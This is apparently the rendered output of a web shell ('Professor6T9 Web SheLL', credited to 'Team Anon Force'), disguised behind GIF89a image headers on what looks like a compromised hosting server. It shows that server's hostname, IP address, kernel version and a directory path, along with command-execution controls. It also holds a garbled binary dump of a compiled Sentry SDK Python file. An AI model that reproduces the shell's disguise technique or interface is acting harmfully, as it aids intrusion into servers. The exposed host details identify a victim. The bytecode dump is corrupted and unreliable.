GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib64
/
python3.12
/
site-packages
/
sentry_sdk
/
integrations
/
__pycache__
[ HOME ]
Exec
Submit
sys_exit.cpython-312.pyc
� �0i� � � � d dl Z d dlZd dlZd dlmZmZ d dlmZ d dlm Z e rd dl mZ d dlm Z mZ G d� de� Zd � Zy) � N)�capture_internal_exceptions�event_from_exception)�Integration)� TYPE_CHECKING)�Callable)�NoReturn�Unionc �@ � e Zd ZdZdZdd�d�Zed� � Zed� � Zy) �SysExitIntegrationaM Captures sys.exit calls and sends them as events to Sentry. By default, SystemExit exceptions are not captured by the SDK. Enabling this integration will capture SystemExit exceptions generated by sys.exit calls and send them to Sentry. This integration, in its default configuration, only captures the sys.exit call if the exit code is a non-zero and non-None value (unsuccessful exits). Pass `capture_successful_exits=True` to capture successful exits as well. Note that the integration does not capture SystemExit exceptions raised outside a call to sys.exit. �sys_exitF)�capture_successful_exitsc � � || _ y �N)�_capture_successful_exits)�selfr s �O/opt/hc_python/lib/python3.12/site-packages/sentry_sdk/integrations/sys_exit.py�__init__zSysExitIntegration.__init__ s � �)A��&� c �, � t j � y r )r �_patch_sys_exit� r r � setup_oncezSysExitIntegration.setup_once s � � �*�*�,r c �x �� t j �t j �� d�fd� � } | t _ y )Nc � �� t j � j t � }|� �| � �| � y # t $ rB}t � 5 |j s| dvrt |� d d d � |�# 1 sw Y |�xY wd }~ww xY w)N)r N)� sentry_sdk� get_client�get_integrationr � SystemExitr r �_capture_exception)�_SysExitIntegration__status�integration�e�old_exits �r �sentry_patched_exitz?SysExitIntegration._patch_sys_exit.<locals>.sentry_patched_exit) s� �� � %�/�/�1�A�A�BT�U�K��"���"� ���"��� �0�2�"�<�<�� Q� A� +�1�-� 3� �� 3� ��� �s- �= � B� B�A6�, B�6B �;B�B)r )�sys�exit� functools�wraps)r$ r# s @r r z"SysExitIntegration._patch_sys_exit$ s2 �� � �8�8�� ���� "� � #� �$ '��r N) �__name__� __module__�__qualname__�__doc__� identifierr �staticmethodr r r r r r r s? � �� �J�38� B� �-� �-� �'� �'r r c � � t | t j � j t j dd��� \ }}t j ||�� y )NF)�type�handled)�client_options� mechanism)�hint)r r r �optionsr r- � capture_event)�exc�eventr4 s r r r ? sE � �&��!�,�,�.�6�6�-�8�8�U�K��K�E�4� ���U��.r )r'